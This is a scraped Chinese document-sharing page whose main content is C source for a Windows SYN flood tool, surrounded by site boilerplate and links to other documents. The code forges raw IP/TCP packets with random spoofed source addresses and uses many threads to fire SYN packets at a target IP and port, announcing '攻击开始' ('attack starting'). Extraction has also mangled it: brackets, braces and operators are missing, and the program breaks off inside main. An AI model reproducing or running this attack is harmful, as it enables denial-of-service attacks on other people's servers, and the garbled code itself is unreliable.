




版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
1、精选优质文档-倾情为你奉上精选优质文档-倾情为你奉上专心-专注-专业专心-专注-专业精选优质文档-倾情为你奉上专心-专注-专业#include #include #include #include #include #pragma comment(lib,ws2_32.lib)#define PacketNum 1024int MaxThread; /最大线程数量 int CurrentThread = 0; /当前活动线程数量 char SendBuffPacketNum60 = 0; /1024个数据包SOCKADDR_IN Sin;typedef struct ip_hdr /定义IP首
2、部 unsigned char h_verlen; /4位首部长度,4位IP版本号 unsigned char tos; /8位服务类型TOS unsigned short total_len; /16位总长度(字节) unsigned short ident; /16位标识 unsigned short frag_and_flags; /3位标志位 unsigned char ttl; /8位生存时间 TTL unsigned char proto; /8位协议 (TCP, UDP 或其他) unsigned short checksum; /16位IP首部校验和 unsigned int
3、sourceIP; /32位源IP地址 unsigned int destIP; /32位目的IP地址 IP_HEADER;typedef struct tcp_hdr /定义TCP首部 USHORT th_sport; /16位源端口 USHORT th_dport; /16位目的端口 unsigned int th_seq; /32位序列号 unsigned int th_ack; /32位确认号 unsigned char th_lenres; /4位首部长度/6位保留字 unsigned char th_flag; /6位标志位 USHORT th_win; /16位窗口大小 USHO
4、RT th_sum; /16位校验和 USHORT th_urp; /16位紧急数据偏移量 TCP_HEADER; typedef struct tsd_hdr /定义TCP伪首部,用于计算校检和 unsigned long saddr; /源地址 unsigned long daddr; /目的地址 char mbz; char ptcl; /协议类型 unsigned short tcpl; /TCP长度 PSD_HEADER;/函数声明int setup(char * , char *); /生成数据包 DWORD WINAPI send_packet(LPVOID); /发送数据函数
5、USHORT checksum(USHORT *, int); /计算检验和函数 void watchthread(void); /检测当前线程数量 /进行初始设置,计算特定ip,特定端口,特定tcp序列号的检验和,生成数据包 int setup( char *DestIp , char *DestPort) char src_ip20 = 0; /源IP USHORT src_port; /源端口 char dst_ip20 = 0;/目的IP USHORT dst_port; /目的端口 IP_HEADER IpHeader; TCP_HEADER TcpHeader; PSD_HEADE
6、R PsdHeader; if(strlen(DestIp) = 16) printf( 目的IP不对n );return -1; strcpy( dst_ip , DestIp ); if(atoi(DestPort) 65535) printf( 目的端口不对n );return -1; /定址 Sin.sin_family = AF_INET; Sin.sin_port = atoi(DestPort); Sin.sin_addr.s_addr = inet_addr(dst_ip); srand(unsigned) time(NULL);/用于产生随机数 for(int n = 0;
7、n PacketNum; n+) /填充IP首部 wsprintf(src_ip, %d.%d.%d.%d, rand() % 250 + 1, rand() % 250 + 1, rand() % 250 + 1, rand() % 250 + 1); IpHeader.h_verlen = (44 | sizeof(IpHeader)/sizeof(unsigned long); IpHeader.tos = 0; IpHeader.total_len = htons(sizeof(IpHeader)+sizeof(TcpHeader); IpHeader.ident = 1; IpHea
8、der.frag_and_flags = 0 x40; IpHeader.ttl = 128; IpHto = IPPROTO_TCP; IpHeader.checksum = 0; IpHeader.sourceIP = inet_addr(src_ip); IpHeader.destIP = inet_addr(dst_ip); /填充TCP首部 TcpHeader.th_sport = htons( rand()%60000 + 1 ); /源端口号 TcpHeader.th_dport = htons( atoi(DestPort) ); TcpHeader.th_s
9、eq = htonl( rand()% + 1 ); TcpHeader.th_ack = 0; TcpHeader.th_lenres = (sizeof(TcpHeader)/4FIN,SYN,RST,PSH,ACK,URG TcpHeader.th_win = htons(512); TcpHeader.th_sum = 0; TcpHeader.th_urp = 0; PsdHeader.saddr = IpHeader.sourceIP; PsdHeader.daddr = IpHeader.destIP; PsdHeader.mbz = 0; PsdHeader.ptcl = IP
10、PROTO_TCP; PsdHeader.tcpl = htons(sizeof(TcpHeader); /计算TCP校验和 memcpy( SendBuffn, &PsdHeader, sizeof(PsdHeader) ); memcpy( SendBuffn + sizeof(PsdHeader), &TcpHeader, sizeof(TcpHeader) ); TcpHeader.th_sum = checksum( (USHORT *) SendBuffn, sizeof(PsdHeader) + sizeof(TcpHeader) ); /计算IP检验和 memcpy( Send
11、Buffn, &IpHeader, sizeof(IpHeader) ); memcpy( SendBuffn + sizeof(IpHeader), &TcpHeader, sizeof(TcpHeader) ); memset( SendBuffn + sizeof(IpHeader) + sizeof(TcpHeader), 0, 4 ); IpHeader.checksum = checksum( (USHORT *) SendBuffn, sizeof(IpHeader) + sizeof(TcpHeader) ); memcpy( SendBuffn, &IpHeader, siz
12、eof(IpHeader) ); memcpy( SendBuffn + sizeof(IpHeader), &TcpHeader, sizeof(TcpHeader) ); return 1; /向目标主机发送syn数据包DWORD WINAPI send_packet(LPVOID P) SOCKET SendSocket; BOOL Flag; int Timeout; int *T = (int *)P;int Tmp = *T; /建立原生数据socket SendSocket = WSASocket(AF_INET, SOCK_RAW, IPPROTO_RAW, NULL, 0,
13、WSA_FLAG_OVERLAPPED); if(SendSocket = INVALID_SOCKET) CurrentThread-; return 0; /设置自己填充数据包 Flag = TRUE; if(setsockopt(SendSocket, IPPROTO_IP, IP_HDRINCL, (char *)&Flag, sizeof(Flag) = SOCKET_ERROR) printf(Setsockopt发生错误n); CurrentThread-; return 0; /设置超时时间 Timeout = 1000; if (setsockopt(SendSocket,
14、SOL_SOCKET, SO_SNDTIMEO, (char *) &Timeout, sizeof(Timeout) = SOCKET_ERROR) CurrentThread-; return 0; /发送数据包 int Ret = sendto(SendSocket, SendBuffTmp, sizeof(IP_HEADER) + sizeof(TCP_HEADER), 0, (struct sockaddr *) &Sin, sizeof(Sin); if (Ret = SOCKET_ERROR) printf(ErrorCode:%dn, GetLastError(); Curre
15、ntThread-; return 0; else CurrentThread-; return 1; /检测当前线程数量,如果大于等于最大线程数量则休眠0.1秒等待其他线程退出void watchthread() while(1) if ( CurrentThread = MaxThread ) Sleep(100); elsebreak; /计算检验和USHORT checksum(USHORT *buffer,int size) unsigned long cksum = 0;while (size 1) cksum += *buffer+; size -= sizeof(USHORT)
16、; if (size) cksum += *(UCHAR *) buffer; cksum = (cksum 16) + (cksum & 0 xffff); cksum += (cksum 16); return (USHORT) (cksum); /main函数 int main(int argc, char *argv) WSADATA WSAData; DWORD ThreadID = 1; HANDLE ThreadHandle = NULL; if (argc != 4) printf( n%stttn, argv0 ); return -1; if ( WSAStartup(MAKEWORD(2, 2), &WSAData) != 0 ) printf( 初始化WSAStartu失败n ); return -1; if (atoi(argv3) 0 & atoi(argv3) 150) MaxThread = atoi(argv3); else printf( 最大线程数量错误,必须大于0且小于150 ); return -1; /初始化数据包,储存到数组当中。 if(setup(argv1,argv2) = 1) printf( 初始化完成n ); else printf( 初始化失败n ); return -1; printf( 攻击开始.n ); while
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 中国二甲戊乐灵行业调查研究报告
- 2024-2030全球自动螺柱焊机行业调研及趋势分析报告
- 2024小学语文教学质量提升计划
- 2025年中国芥末酱行业市场深度分析及投资策略研究报告
- 2025年秋季幼儿园艺术创作教研计划
- 棋艺社团冬季训练计划
- 苏教版四年级科学下册知识点复习计划
- 二年级语文教研组教学资源整合计划
- 人教部编版道德与法治四年级上册教学目标与计划
- 2025届天津市静海区独流中学物理高一第二学期期末质量跟踪监视模拟试题含解析
- 团建桌游游戏活动方案
- 教育培训宣传课件
- 大学招生宣传工作规范制度
- 舆情监控处置管理制度
- 低空经济现代化产业体系构建与战略路径
- 药品生产偏差管理制度
- 贵州省2025年中考第三次模拟考试化学试卷(含答案)
- 水厂易制毒管理制度
- 2025-2030年中国西餐厅行业市场发展分析及前景预测与战略规划研究报告
- 2025年上海市中考物理试卷真题(含答案)
- 2025年《社会工作法规与政策》课程标准
评论
0/150
提交评论